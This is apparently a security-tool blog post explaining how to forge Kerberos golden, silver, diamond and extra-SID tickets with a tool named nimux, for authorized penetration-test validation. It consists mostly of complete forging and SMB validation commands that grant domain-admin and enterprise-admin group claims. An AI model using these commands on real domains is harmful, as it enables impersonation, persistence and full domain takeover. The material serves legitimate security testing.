Back to blog
Jul 19, 202626 min read

Advanced Ticket Forging with nimux

A neutral operator guide to nimux golden, silver, diamond, and inter-realm ticket workflows, including SIDs, groups, duration, and validation.

KerberosGolden TicketSilver TicketDiamond Ticket

Overview

Ticket forging validates the impact of key compromise. A golden ticket proves krbtgt key impact. A silver ticket proves service key impact. A diamond ticket starts from a legitimate TGT and modifies authorization data. Inter-realm tickets validate trust boundary impact.

nimux supports Kerberos forge workflows with explicit SID, groups, extra SID, duration, and output cache controls.

Golden ticket

nimux kerberos dc01.corp.local -d corp.local \
  --forge golden \
  --user scoped.admin \
  --key <krbtgt-key> \
  --sid S-1-5-21-111111111-222222222-333333333 \
  --groups 512,513,518,519,520 \
  --duration 4 \
  --out scoped-golden.ccache

Validate with a Kerberos-backed command:

nimux smb dc01.corp.local -d corp.local -k \
  --ccache scoped-golden.ccache \
  --shares

Silver ticket

nimux kerberos dc01.corp.local -d corp.local \
  --forge silver \
  --user scoped.user \
  --service cifs/server01.corp.local \
  --key <service-account-key> \
  --sid S-1-5-21-111111111-222222222-333333333 \
  --out scoped-silver.ccache

Use the ticket only for the matching service:

nimux smb server01.corp.local -d corp.local -k \
  --ccache scoped-silver.ccache \
  --shares

Diamond ticket

Diamond workflows require a readable source TGT ccache.

nimux kerberos dc01.corp.local -d corp.local \
  --forge diamond \
  --ccache source-user.ccache \
  --key <krbtgt-key> \
  --sid S-1-5-21-111111111-222222222-333333333 \
  --groups 512,513 \
  --out scoped-diamond.ccache

Extra SID validation

Use --extra-sid only when testing a documented cross-domain or SIDHistory-style path.

nimux kerberos dc01.corp.local -d corp.local \
  --forge golden \
  --user scoped.user \
  --key <krbtgt-key> \
  --sid S-1-5-21-111111111-222222222-333333333 \
  --extra-sid S-1-5-21-444444444-555555555-666666666-519 \
  --out scoped-extra-sid.ccache

Reporting

Ticket forging reports should name the compromised key category, ticket type, service, realm, SID, group claims, duration, validation command, and storage handling. Keep forged tickets out of screenshots unless redacted.

Install nimuxView featuresOpen docs